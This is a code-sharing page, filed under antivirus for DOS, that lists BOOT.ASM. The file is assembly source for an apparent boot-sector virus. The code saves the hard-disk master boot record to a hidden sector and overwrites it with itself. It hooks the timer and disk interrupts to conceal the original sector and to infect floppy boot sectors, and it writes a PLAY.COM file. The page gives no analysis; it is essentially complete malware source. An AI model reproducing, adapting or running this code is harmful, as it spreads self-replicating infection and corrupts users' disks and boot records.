BOOT.ASM
上传用户:xiangkun
上传日期:2021-06-02
资源大小:1k
文件大小:3k
源码类别:

杀毒

开发平台:

DOS

  1. CSEG SEGMENT 
  2. ASSUME CS:CSEG 
  3. BEGIN: MOV AX,CS 
  4. CMP AX,0 
  5. JZ START 
  6. JMP FILE 
  7. ;********************************** DATA 
  8. DATE DB 00H 
  9. PZ DB 77H 
  10. TIME DW 200H 
  11. JMPA DW 7C00H 
  12. DW 0000H 
  13. JMPN DW OFFSET NEXT 
  14. DW 0020H 
  15. FN DB 'PLAY.COM',0 
  16. ;************************************ 
  17. START: XOR AX,AX 
  18. MOV DS,AX 
  19. MOV SS,AX 
  20. MOV ES,AX 
  21. MOV SP,7C00H 
  22. MOV AX,DS:[20H] ;SAVE INT 8H 
  23. MOV DS:[180H],AX 
  24. MOV AX,DS:[22H] 
  25. MOV DS:[182H],AX 
  26. MOV SI,SP 
  27. MOV DI,0200H 
  28. MOV CX,0200H 
  29. CLD 
  30. REP MOVSB 
  31. MOV BX,OFFSET JMPN+7C00H 
  32. JMP DWORD PTR CS:[BX] 
  33. NEXT: MOV AX,OFFSET NEW08 ;MODI INT 8H 
  34. MOV DS:[20H],AX 
  35. MOV AX,0020H 
  36. MOV DS:[22H],AX 
  37. MOV BX,0600H 
  38. MOV AX,0201H 
  39. MOV CX,0001H 
  40. MOV DX,0080H 
  41. INT 13H 
  42. CMP BYTE PTR ES:[PZ+0600H],077H 
  43. JZ NC 
  44. MOV AX,0301H 
  45. MOV CX,0017H 
  46. MOV DX,0080H 
  47. INT 13H 
  48. MOV SI,0200H 
  49. MOV DI,0600H 
  50. MOV CX,0200H 
  51. CLD 
  52. REP MOVSB 
  53. MOV AX,0301H 
  54. MOV CX,0001H 
  55. MOV DX,0080H 
  56. INT 13H 
  57. NC: MOV BX,7C00H 
  58. MOV AX,0201H 
  59. MOV CX,0017H 
  60. MOV DX,0080H 
  61. INT 13H 
  62. MOV AH,04H 
  63. INT 1AH 
  64. MOV CS:[DATE],DL 
  65. MOV BX,OFFSET JMPA 
  66. JMP DWORD PTR CS:[BX] 
  67. ;***********************************RUN HD BOOTER PRG 
  68. NEW08: PUSH AX 
  69. PUSH DS 
  70. DEC CS:[TIME] 
  71. JNZ I08 
  72. XOR AX,AX 
  73. MOV DS,AX 
  74. MOV AX,DS:[4CH] 
  75. MOV DS:[184H],AX 
  76. MOV AX,DS:[4EH] 
  77. MOV DS:[186H],AX 
  78. MOV AX,OFFSET GR ;MODI INT 8H 
  79. MOV DS:[20H],AX 
  80. MOV AX,OFFSET NEW13 
  81. MOV DS:[4CH],AX 
  82. MOV AX,OFFSET NEWF 
  83. MOV DS:[94H],AX 
  84. MOV AX,0020H 
  85. MOV DS:[22H],AX 
  86. MOV DS:[4EH],AX 
  87. MOV DS:[96H],AX 
  88. MOV CS:[TIME],200H 
  89. I08: POP DS 
  90. POP AX 
  91. INT 60H 
  92. IRET 
  93. ;*************************************** 
  94. NEW13: CMP AH,02H 
  95. JZ CNE 
  96. CMP AH,03H 
  97. JNZ I13 
  98. CMP DL,00H 
  99. JNZ CNE 
  100. PUSH AX 
  101. PUSH BX 
  102. PUSH CX 
  103. PUSH DX 
  104. PUSH ES 
  105. PUSH CS 
  106. POP ES 
  107. MOV AX,0301H 
  108. XOR BX,BX 
  109. MOV CX,0001H 
  110. MOV DX,BX 
  111. INT 61H 
  112. POP ES 
  113. POP DX 
  114. POP CX 
  115. POP BX 
  116. POP AX 
  117. JMP I13 
  118. CNE: CMP DX,0080H 
  119. JNZ I13 
  120. CMP CX,0001H 
  121. JNZ I13 
  122. MOV CX,0017H 
  123. I13: INT 61H 
  124. IRET 
  125. ;******************************************* 
  126. NEWF: PUSH CS 
  127. POP DS 
  128. MOV DX,OFFSET FN 
  129. MOV CX,00000001B 
  130. MOV AH,3CH 
  131. INT 21H 
  132. MOV BX,AX 
  133. MOV AH,40H 
  134. MOV CX,400H 
  135. XOR DX,DX 
  136. INT 21H 
  137. MOV AH,3EH 
  138. INT 21H 
  139. MOV AX,0003H 
  140. INT 10H 
  141. JMP NCF 
  142. GR: PUSH AX 
  143. PUSH BX 
  144. PUSH CX 
  145. MOV AX,0900H 
  146. MOV CX,0001H 
  147. CMP CS:[DATE],15H 
  148. JZ GR1 
  149. MOV BX,111B 
  150. GR1: INT 10H 
  151. NG: POP CX 
  152. POP BX 
  153. POP AX 
  154. INT 60H 
  155. IRET 
  156. ;************************************ 
  157. FILE: PUSH CS 
  158. POP ES 
  159. XOR AX,AX 
  160. MOV DS,AX 
  161. CMP BYTE PTR DS:[200H+PZ],77H 
  162. JZ NCF 
  163. MOV AH,77H 
  164. MOV DS:[200H+PZ],AH 
  165. MOV BX,0300H 
  166. MOV AX,0201H 
  167. MOV CX,0001H 
  168. MOV DX,0080H 
  169. INT 13H 
  170. MOV AX,0301H 
  171. MOV CX,0017H 
  172. MOV DX,0080H 
  173. INT 13H 
  174. PUSH CS 
  175. POP DS 
  176. MOV SI,0100H 
  177. MOV DI,BX 
  178. MOV CX,01B0H ;CX 1B0H 
  179. CLD 
  180. REP MOVSB 
  181. MOV AX,0301H 
  182. MOV CX,0001H 
  183. MOV DX,0080H 
  184. INT 13H 
  185. NCF: MOV AH,4CH 
  186. INT 21H 
  187. CSEG ENDS 
  188. END BEGIN